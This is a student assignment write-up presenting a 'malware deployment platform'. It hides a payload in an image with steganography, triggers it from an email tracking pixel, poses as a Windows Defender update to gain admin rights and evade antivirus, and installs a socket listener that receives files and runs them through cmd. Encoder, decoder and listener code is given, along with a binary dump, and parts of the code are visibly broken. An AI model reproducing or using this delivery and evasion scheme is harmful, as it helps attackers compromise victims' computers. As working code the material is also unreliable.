Caleb Millard

CMPT 360 Spring 2023

Assignment 7

Malware insertion solution

Assignment	Due Date	group(s)	Language	Language	Platform
1	Monday, Jan 23	1 & 2	Java	Delphi	Windows
2	Monday, Feb 6	1 & 2	C#	Visual basic	Windows
3	Monday, Feb 27th	3	Javascript		Windows
4	Monday, March, 13	1 & 4	Java	F#	Linux
5	Monday, March 20	4(i think)	Kotlin		Android
6	Monday, April 10	1	Python		Windows
7	Monday, April 7th	1,3	Python	html	Windows

This assignment fulfills the following goals:
Group 1
Title:
Malware base and deployment programs

Problem:
We have created a malware problem, but we need to deploy it and get it onto the targets computer

Documentation:

Step	**What then happens**	**What is triggered to happen with each step**
1	Open email	Image loads and triggers pixel
2	Pixel triggers executable script in the embedded image	Script decodes the program and will write a file and attempt to place it in windows defender prompting the user with a message from the publisher stating, “Windows Defender needs an update”
3	The decoder-script will then write and execute the base camp program	Basecamp will connect to the central server
4	Deploy malware	Malware Deployed

Select and insert your desired payload path into the encoder and the path to the image you wish to encode with your program.

After this, you need to create a tracking pixel; besides this pixel, you need to set up a trigger for your image/executable. It could be a returned integer; this will execute your script embedded in the image.

After the execution of the code, it will deploy the decoder script, which will install the basecamp platform onto the target's computer.

There are three steps between the opening of the image to the actual installation of the basecamp this is to allow us to name the files and avoid windows defender.

By installing the files directly into the windows defender file system, you can request admin privileges directly, and when checking, the file path will disguise as windows defender.

As soon as privileges are granted, the base camp will be installed. (with a little bit more work, you can disable the defender since you installed it directly into the root folder.)

Pseudo Code:
Turn the file into binary bytes and then into binary
Once this conversion is done, access the image pixels one at a time, accessing their binary strings showing color and editing the least significant value at the end of the string to be your desired bit from the next in your list.
After these pixels are updated and saved, you may execute and send the image.
Once a tracking pixel triggers the executable, then it will deploy and decode, installing the base camp and then the server.

imports :

```
from PIL import Image
import os
import codecs
```

Variables:

Str: binary_message(message in binary), utf8_string, binary_byte Output-path, message_path, input_file, output_file

Int: required_pixels, encoded,pixels(these both are for iterating through each pixel), i(iteration), width, height(both width and height are for image size)x,y iteration loops

Pixel: pixel(used to iterate through each pixel RGB)

Program Start:

Generic example of tracking pixel:
<img style="position: absolute;" src="/tracking"> <img style="display: none;" src="/tracking"> <img src="/tracking" width="0" height="0">
Encoder File:

```python
#Encoder File
#Caleb Millard
#Lab 7 CMPT 360
#Title: malware platform deployment
#Dr Rick Sutcliffe
#Program 1/2
from PIL import Image


def encode_message(image_path, message_path, output_path):
    # Open the image
    with open(message_path, 'r') as file:
        message =  file.read()
    image = Image.open(image_path)

    # Convert the message to binary
    binary_message = ''.join(format(ord(char), '08b') for char in message)
    # Get the size of the image in pixels
    width, height = image.size

    # Check if the image can fit the entire message
    required_pixels = len(binary_message)
    total_pixels = width * height * 3  # 3 channels (RGB)
    if required_pixels > total_pixels:
        print("Error: Message is too long to be encoded into the image.")
        return

    # Iterate through each pixel in the image
    encoded_pixels = 0
    for y in range(height):
        for x in range(width):
            pixel = list(image.getpixel((x, y)))

            # Encode the binary message into the pixel values
            if encoded_pixels < required_pixels:
                # Loop through R, G, B traits
                for i in range(3):
                    if encoded_pixels < required_pixels:
                        pixel[i] = (pixel[i] & 254) |
int(binary_message[encoded_pixels])
```

```
                        encoded_pixels += 1
            print(pixel)
            # Update the pixel in the image
            image.putpixel((x, y), tuple(pixel))

    # Save the encoded image
    image.save(output_path)
    print(f"Message encoded and saved to '{output_path}'.")

#these have been negated and not given because if i am going to post
anywhere it needs to follow laws
#any and all file paths have been treated as such and negated to disable
to program
message_path = "desiredpayload.py"
input_file = "desiredImage.jpeg"
output_file = "header.jpeg"
encode_message(input_file, message_path, output_file)
```

Client Side Code:

```
#Decoder File
#Caleb Millard
#Lab 7 CMPT 360
#Title: malware platform deployment
#Dr Rick Sutcliffe
#Program 2/2

from PIL import Image
import os
import codecs


def decode_message(image_path):
    # Open the image
    image = Image.open(image_path)

    # Get the size of the image
    width, height = image.size

    # Iterate through each pixel in the image and extract the binary
message
```

```
    binary_message = ''
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))

            # Extract the least significant bit from each RGB channel
            for i in range(3):  # Loop through R, G, B channels
                binary_message += str(pixel[i] & 1)
    decode_binary_bytes(binary_message)



##########################
#converts seperated bytes into utf8 text which can be exported as a python
script
############################
def decode_binary_bytes(input_file):
    binary_bytes = split_binary_file(input_file)
    utf8_string = ''

    for binary_byte in binary_bytes:
        binary_byte = binary_byte.strip()  # Remove leading/trailing
whitespaces and line breaks

        # Check if binary byte is exactly 8 digits long
        if len(binary_byte) != 8:
            print(f"Warning: Skipping invalid binary byte
'{binary_byte}'")
            continue

        # Convert binary byte to UTF-8 encoded character
        try:
            utf8_byte = codecs.decode(int(binary_byte, 2).to_bytes(1,
'big'), 'utf-8')
            utf8_string += utf8_byte
        except ValueError:
            print(f"Error: Failed to convert binary byte '{binary_byte}'
to UTF-8 encoded character")
```

```
    with open(output_file, 'w') as file:
        file.write(utf8_string)

########################
# splits a binary file into binary bytes and returns them to be converted
into UTF-8
########################

def split_binary_file(input_file):
    with open(input_file, 'r') as file:
        binary_string = file.read().replace('\n', '')
        # Read binary string from file and remove line breaks

    binary_bytes = []
    num_bits = len(binary_string)
    #seperate the bits into 8bit byte format
    for i in range(0, num_bits, 8):
        binary_byte = binary_string[i:i+8]
        binary_bytes.append(binary_byte)
    return binary_bytes

input_file = "Downloads/header.jpeg"
output_file = "H:/CMPT 360/New folder/product.py"
split_binary_file(input_file, output_file)
print(f"Conversion complete. UTF-8 text written to '{output_file}'")
decode_message(input_file)
os.system('cmd /k "basecamp.py"')
```

End of required code

Screenshots:
Since I am legally not allowed to send this over the internet I will provide outputs into text files of each.
The initial conversion to bits:

1000111000000100001011000011110011110010110000111100001110110111100001000001101001110111010000011101001101000110010110000011010011101110110011011001011100011111010011001011100100100000110001111011111101101111000011101011110100110010111111001
0101010001110000001000011110000111011001100101110001010000010011011101001110110011011001100001111001011001001010100011100000010011001100001110001010000011011010000001000011100110110100001010100100000011001111011011000010101000111000001010 1001
1010011110100110110011001011110101000001101101110000111011001110111110000111100101100101100000110010011001011110000110110011011111111001110110111001011101110111010010000011100001101100110000111101001100110110111111001011011010100011 10
000010001001110010101110100000101001011010011100011110101110000010100111110101111010011000111101100110100111001101100110110010110101000111000001010000111001011011111100111111001011000011101101100000110010101111110010101011010011101101111 0
0001101111111001011101001000001110011110111111100011110101111001011110100101011010011101101111000011011111110010111010010000011011111110011101011010011101101111000011011111110010111010010000011100111101011100010111000011100101101111110001
1110010111100111110011101010101010100011100000111010111100111101001110111011001111000001101100110111111100011110000011101100100000010010011010000100000111001111010011101110110001111001011000001110111110010110000011101111101001110110011011001
0000011011101101111111010010000011000101100101100000110000111000111110100111010111000011101100110110011110011000001101001110111011001101100101110001111101001101001110111011001111000001100001110111011110011101111111011101100101111001110000 0
1100011110111111101101111000011101011110100110010111100101110011101010010011010000100000111101100000100010110001110010110111101110110000101110110000101110110001100010101010001110000011101001101000110100111100111000001100011110111111111010111
0110011001001000000110000111011001110011110111111000000110001011001011000000110001111010001100000111011101100111110010111001001000001110100110111110000011000011101110100000110111111101110110110011010011101110110010110000011100111100101111001011
1011011001011110010100000011101111110100111101001101000100000110111011011111000000110001111011111110111011011101100101110001111101001101001110111111011101100111000001110100110111110000011110011101111111010111100101000000101000010000111010101 0
1010101010101001000100000111101100000111001111011111100011110101111001011110100101110111001111011111100011110101111001011110100101000111001111011111100011110101111001011110100101110100000110001101011111100100110011101000101101010010110010
0000111001111011111100011110101111001011110100101110101001110011111100001110010111011111110100111010100101000101100000110011011010011010110100111100000100000111101100000100010110001110010110111101110110000101110110000101110110001100010 1
0101110000111001011010011101110111010010100011010011110000101001101010010001011101100010110100111011101100100101000101000110100111100001011001000001110011110001110011110001010011010011010101010101001000101110110110011010011110011111010011
0010111011101010001010011010110001111011001101001110010111011101110100101100100000110000111001001100100111001011001011110011111001110000001111011000001001000101110110000111000111100011110010111100001110100101000101001101010101010110011011 0
1001110110011001011011111110111011000011101101110010110000001111011000001100011110110011010011100101110111011101001011101110010110010111000111110110101000110001110000110010110100101001101110110010011001011100011110111111100100110010110100 01
0100110101110000111001011010011101110111010010100011001101101001110110010110111111101110110000111011011100101101001101011001101101001110110010010110100111101001111101011001011000001111011000001100011110110011010011100101110110111010
0101110111001011001011100011111011010100011000111000011001011010010100110111011001001100101110001111011111100100110010110100010100110101110000111001011010011101110111010010100011001101101001110110010010110100111101001111010110010110100 1
1010110011011010011101100110010110000011110110000011011111111000011001011101110101000110011011010011101100110010110111111101110110000111011011100101101100100000100010111011110001010100110101100110110100111011001001011000010111100111101 001
1001011110011100000111101100000110001010001010001010101010101011001001101111111011101100101100000111101110000001000110110000111011001110011110010110101010101011101111110100011010011101100100101100000011011101101111111010010000011001001101 1111
1011101100101111010101010000010000010000010000011001001100001111010011000011000001111011000001100011101011001101001110010111011101110100101110111001011001011100011111011010100011000111000011001011010010100110101000001000001000001000001 1010
0111001101000000110011011010011101100110010110000101111001111010011001011110011101101110110111011101011101010111011000001111011111101100000011000101000101111001000101100111010001001111101000101110101010100000100000100000100000100000100000
1000001100100110111111101110110010110000011110110000010101001110010111010111001011010100000100000100000100000110010111011001110011110010111101010101000001000001000001000001000001000001000001000001100110110100111011001100101100001011110011 1
10100110010111100111000001010111111011000001100100110000111101001100001101010101010101010101100110110100111011001011011101110111111001011010011110100110010110100011001101101001110110011001011000010111100111101001100101111001110100 1101
0110011011010011101100110010110111011000111101100110111111100111100101101000101001101010101010101010101011100001100001111010011010001000001111011000001011111110011101110111000011000011110100110100010111011000011100010111001111100001100001 1
110100110100010100011001101101001110110011001011011111111011101100001110110111001011010011010101010101010110001111100001110000101111111000111101101110010010000011110110000010110111000101100011110110111001001000101011001000000100010101 11
1110001110001010110010000011001101101001110110011001011011111110111011000011101101110010110111011010111001111101011100010111000011100101101111110001111001011110011111001110111011100101110101110111010100011000111110000111000010111111100 011
11011011100100101100100000110001111010001100101110001111010111111011010100111001011101011100101101100100000111001111010001100101110110011011001111011010100111001011101011100101101001101 0

100011 100000 1000010 1100001 1110011 1100101 1000011 1100001 1101101 1110000 100000 1101001 1101110 100000 1110100 1101000
1100101 100000 1101001 1101110 1100110 1100101 1100011 1110100 1100101 1100100 100000 1100011 1101111 1101101 1110000 1110101
1110100 1100101 1110010 1010 100011 100000 1000011 1100001 1101100 1100101 1100010 100000 1001101 1101001 1101100 1101100 1100001
1110010 1100100 1010 100011 100000 1001100 1100001 1100010 100000 110110 100000 1000011 1001101 1010000 1010100 100000 110011
110110 110000 1010 100011 100000 1010100 1101001 1110100 1101100 1100101 111010 100000 1101101 1100001 1101100 1110111 1100001
1110010 1100101 100000 1100100 1100101 1110000 1101100 1101111 1111001 1101101 1100101 1101110 1110100 100000 1110000 1101100
1100001 1110100 1100110 1101111 1110010 1101101 1010 100011 100000 1000100 1110010 101110 100000 1010010 1101001 1100011 1101011
100000 1010011 1110101 1110100 1100011 1101100 1101001 1100110 1100110 1100101 1010 100011 100000 1010000 1110010 1101111 1100111
1110010 1100001 1101101 100000 110010 101111 110010 1010 1101001 1101101 1110000 1101111 1110010 1110100 100000 1110011 1101111
1100011 1101011 1100101 1110100 1010 1101001 1101101 1110000 1101111 1110010 1110100 100000 1101111 1110011 1010 1101001 1101101
1110000 1101111 1110010 1110100 100000 1110011 1110101 1100010 1110000 1110010 1101111 1100011 1100101 1110011 1110011 1010 1010 1010
100011 100000 1110101 1110011 1101001 1101110 1100111 100000 1101100 1101111 1100011 1100001 1101100 100000 1001001 1010000 100000
1110011 1101001 1101110 1100011 1100101 100000 1110111 1100101 100000 1110111 1101001 1101100 1101100 100000 1101110 1101111 1110100
100000 1100010 1100101 100000 1100001 1100011 1110100 1110101 1100001 1101100 1101100 1111001 100000 1101001 1101110 1100110
1100101 1100011 1110100 1101001 1101110 1100111 100000 1100001 1101110 1111001 1101111 1101110 1100101 1110011 100000 1100011 1101111
1101101 1110000 1110101 1110100 1100101 1110010 1110011 1010 1001001 1010000 100000 111101 100000 100010 110001 110010 110111
101110 110000 101110 110000 101110 110001 100010 1010 100011 100000 1110100 1101000 1101001 1110011 100000 1100011 1101111 1110101
1101100 1100100 100000 1100001 1101100 1110011 1101111 100000 1100010 1100101 100000 1100011 1101000 1100001 1101110 1100111
1100101 1100100 100000 1110100 1101111 100000 1100001 1101110 100000 1101111 1101110 1101100 1101001 1101110 1100101 100000 1110011
1100101 1110010 1110110 1100101 1110010 100000 1110111 1101001 1110100 1101000 100000 1101110 1101111 100000 1100011 1101111 1101110
1101110 1100101 1100011 1110100 1101001 1101111 1101110 1110011 100000 1110100 1101111 100000 1111001 1101111 1110101 1110010 100000
1010000 1000011 1010 1010 1010 1010 1010 1001000 100000 111101 100000 1110011 1101111 1100011 1101011 1100101 1110100 101110 1110011
1101111 1100011 1101011 1100101 1110100 101000 1110011 1101111 1100011 1101011 1100101 1110100 101110 1000001 1000110 1011111
1001001 1001110 1000101 1010100 101100 100000 1110011 1101111 1100011 1101011 1100101 1110100 101110 1010011 1001111 1000011
1001011 1011111 1010011 1010100 1010010 1000101 1000001 1001101 101001 1010 1101001 1110000 100000 111101 100000 100010 110001
110010 110111 101110 110000 101110 110000 101110 110001 100010 1010 1110000 1110010 1101001 1101110 1110100 101000 1101001 1110000
101001 1010 1001000 101110 1100010 1101001 1101110 1100100 101000 101000 1101001 1110000 101100 100000 111001 111000 111001 111000
101001 101001 1010 1010 1010 1001000 101110 1101100 1101001 1110011 1110100 1100101 1101110 101000 101001 1010 1100011 1101100
1101001 1100101 1101110 1110100 101100 100000 1100001 1100100 1100100 1110010 1100101 1110011 1110011 100000 111101 100000 1001000
101110 1100001 1100011 1100011 1100101 1110000 1110100 101000 101001 1010 1010 1010 1100110 1101001 1101100 1100101 1011111 1101110
1100001 1101101 1100101 100000 111101 100000 1100011 1101100 1101001 1100101 1101110 1110100 101110 1110010 1100101 1100011 1110110
101000 110001 110000 110010 110100 101001 101110 1100100 1100101 1100011 1101111 1100100 1100101 101000 101001 1010 1110000 1110010
1101001 1101110 1110100 101000 1100110 1101001 1101100 1100101 1011111 1101110 1100001 1101101 1100101 101001 1010 1100110 1101001
1101100 1100101 1010011 1101001 1111010 1100101 100000 111101 100000 1100011 1101100 1101001 1100101 1101110 1110100 101110 1110010
1100101 1100011 1110110 101000 110001 110000 110010 110100 101001 101110 1100100 1100101 1100011 1101111 1100100 1100101 101000
101001 1010 1110000 1110010 1101001 1101110 1110100 101000 1100110 1101001 1101100 1100101 1010011 1101001 1111010 1100101 101001
1010 1100110 1101001 1101100 1100101 100000 111101 100000 1101111 1110000 1100101 1101110 101000 1100110 1101001 1101100 1100101
1011111 1101110 1100001 1101101 1100101 101100 100000 100010 1110111 100010 101001 1010 1100110 1101001 1101100 1100101 1000010
1111001 1110100 1100101 1110011 100000 111101 100000 1100010 100010 100010 1010 1010 1010 1100100 1101111 1101110 1100101 100000
111101 100000 1000110 1100001 1101100 1110011 1100101 1010 1010 1010 1110111 1101000 1101001 1101100 1100101 100000 1101110 1101111
1110100 100000 1100100 1101111 1101110 1100101 111010 1010 100000 100000 100000 100000 1100100 1100001 1110100 1100001 100000
111101 100000 1100011 1101100 1101001 1100101 1101110 1110100 101110 1110010 1100101 1100011 1110110 101000 110001 110000 110010
110100 101001 1010 100000 100000 100000 100000 1101001 1100110 100000 1100110 1101001 1101100 1100101 1000010 1111001 1110100
1100101 1110011 1011011 101101 110101 111010 1011101 100000 111101 111101 100000 1100010 100010 111100 1000101 1001110 1000100
111110 100010 111010 1010 100000 100000 100000 100000 100000 100000 100000 100000 1100100 1101111 1101110 1100101 100000 111101
100000 1010100 1110010 1110101 1100101 1010 100000 100000 100000 100000 1100101 1101100 1110011 1100101 111010 1010 100000 100000
100000 100000 100000 100000 100000 100000 1100110 1101001 1101100 1100101 1000010 1111001 1110100 1100101 1110011 100000 101011
111101 100000 1100100 1100001 1110100 1100001 1010 1010 1010 1010 1010 1100110 1101001 1101100 1100101 101110 1110111 1110010
1101001 1110100 1100101 101000 1100110 1101001 1101100 1100101 1000010 1111001 1110100 1100101 1110011 101001 1010 1100110 1101001
1101100 1100101 101110 1100011 1101100 1101111 1110011 1100101 101000 101001 1010 1010 1010 1010 1010 1110000 1100001 1110100
1101000 100000 111101 100000 1101111 1110011 101110 1110000 1100001 1110100 1101000 101110 1100001 1100010 1110011 1110000 1100001
1110100 1101000 101000 1100110 1101001 1101100 1100101 1011111 1101110 1100001 1101101 1100101 101001 1010 1010 1010 1010 1010
1100011 1110000 1110000 1011111 1100011 1101101 1100100 100000 111101 100000 1011011 100010 1100011 1101101 1100100 100010 101100

100000 100010 101111 1100011 100010 101100 100000 1100110 1101001 1101100 1100101 1011111 1101110 1100001 1101101 1100101 1011101 1010 1110011 1110101 1100010 1110000 1110010 1101111 1100011 1100101 1110011 1110011 101110 1110010 1110101 1101110 101000 1100011 1110000 1110000 1011111 1100011 1101101 1100100 101100 100000 1100011 1101000 1100101 1100011 1101011 111101 1010100 1110010 1110101 1100101 101100 100000 1110011 1101000 1100101 1101100 1101100 111101 1010100 1110010 1110101 1100101 101001 1010

```
# BaseCamp in the infected computer
# Caleb Millard
# Lab 6 CMPT 360
# Title: malware deployment platform
# Dr. Rick Sutcliffe
# Program 2/2
import socket
import os
import subprocess


# using local IP since we will not be actually infecting anyones computers
IP = "127.0.0.1"
# this could also be changed to an online server with no connections to your PC


H = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = "127.0.0.1"
print(ip)
H.bind((ip, 9898))

H.listen()
client, address = H.accept()

file_name = client.recv(1024).decode()
print(file_name)
fileSize = client.recv(1024).decode()
print(fileSize)
file = open(file_name, "w")
fileBytes = b""

done = False

while not done:
    data = client.recv(1024)
    if fileBytes[-5:] == b"<END>":
        done = True
    else:
        fileBytes += data


file.write(fileBytes)
file.close()


path = os.path.abspath(file_name)

cpp_cmd = ["cmd", "/c", file_name]
subprocess.run(cpp_cmd, check=True, shell=True)
```

Ln 46, Col 34

Conclusions:
This took a lot of research as most websites and places I could access to learn about it were restricted and would not tell you how to do it, and even with some coding pieces when I was doing research would not provide any examples or instructions on even how to go about completing this. I then resorted to using Steganography to encode and hide the code from initial scans by anti-virus. Then with the tracking pixel able to ping your image, it can trigger an executable to extract. This was really weird because it didn't really code but how you package it all together, and then when it is embedded in an email it can trigger really easily. The main issue is gaining access to the device, but that can be disguised when the program requests to write the file. If it has already created the file and named it, and given it credentials within the script that it is trying to access, then it will look more official when trying to access the computer prompting the user to give permissions which will make the whole computer vulnerable. Very interesting experience writing this. Of course, I have disabled all code and links to prevent them from being used.